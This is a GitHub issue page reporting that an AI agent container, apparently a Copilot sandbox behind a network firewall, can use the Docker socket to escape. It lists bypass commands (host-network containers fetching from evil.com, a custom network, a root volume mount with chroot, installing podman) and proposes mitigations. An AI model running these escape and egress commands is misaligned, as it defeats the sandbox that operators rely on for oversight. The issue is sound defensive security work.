-
Notifications
You must be signed in to change notification settings - Fork 2
Closed
Labels
bugSomething isn't workingSomething isn't workingenhancementNew feature or requestNew feature or request
Description
Priority
Critical
Description
The copilot container has full access to the Docker socket (/var/run/docker.sock), which allows trivial container escapes and firewall bypasses. This fundamentally undermines the security model.
Attack vectors
1. Bypass docker-wrapper directly
/usr/bin/docker-real run --network host alpine wget https://evil.com2. Create custom network
docker network create bypass-net
docker run --network bypass-net alpine wget https://evil.com3. Volume mount escape
docker run -v /:/host alpine chroot /host bash4. Alternative container runtimes
apt-get install podman
podman run --network host alpine wget https://evil.comCurrent mitigations (insufficient)
docker-wrapper.shinterceptsdockercommand but is easily bypassed- Host-level iptables only filter
awf-netbridge, not custom networks - Wrapper blocks
--privileged,--network host,--add-hostbut can be bypassed
Code locations
src/docker-manager.ts:223-224- Docker socket mountcontainers/copilot/docker-wrapper.sh- Wrapper script (bypassable)containers/copilot/Dockerfile:34-35- Symlink setup
Proposed solutions
Option A: Remove Docker socket access (breaking change)
- Pros: Simplest, most secure
- Cons: Breaks MCP servers that need Docker (Playwright, etc.)
- Implementation: Remove socket mount, document that users must spawn Docker-based MCPs outside firewall
Option B: Use docker-socket-proxy
- Pros: Restricts Docker API calls, maintains auto-spawn functionality
- Cons: Adds complexity, still allows network creation
- Implementation: Add
docker-socket-proxycontainer, configure to block dangerous operations - Reference: https://github.com/Tecnativa/docker-socket-proxy
Option C: Enforce awf-net for all networks (host-level)
- Pros: Prevents custom network bypass
- Cons: Complex iptables rules, doesn't prevent volume escapes
- Implementation: Add iptables rules to block/filter all Docker networks except
awf-net
Option D: AppArmor/SELinux profiles
- Pros: Fine-grained control
- Cons: Very complex, platform-specific
- Implementation: Docker security profiles restricting socket operations
Recommendation
Start with Option A (document limitation) or Option B (docker-socket-proxy) for immediate security. Option C could be additional defense-in-depth.
Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
bugSomething isn't workingSomething isn't workingenhancementNew feature or requestNew feature or request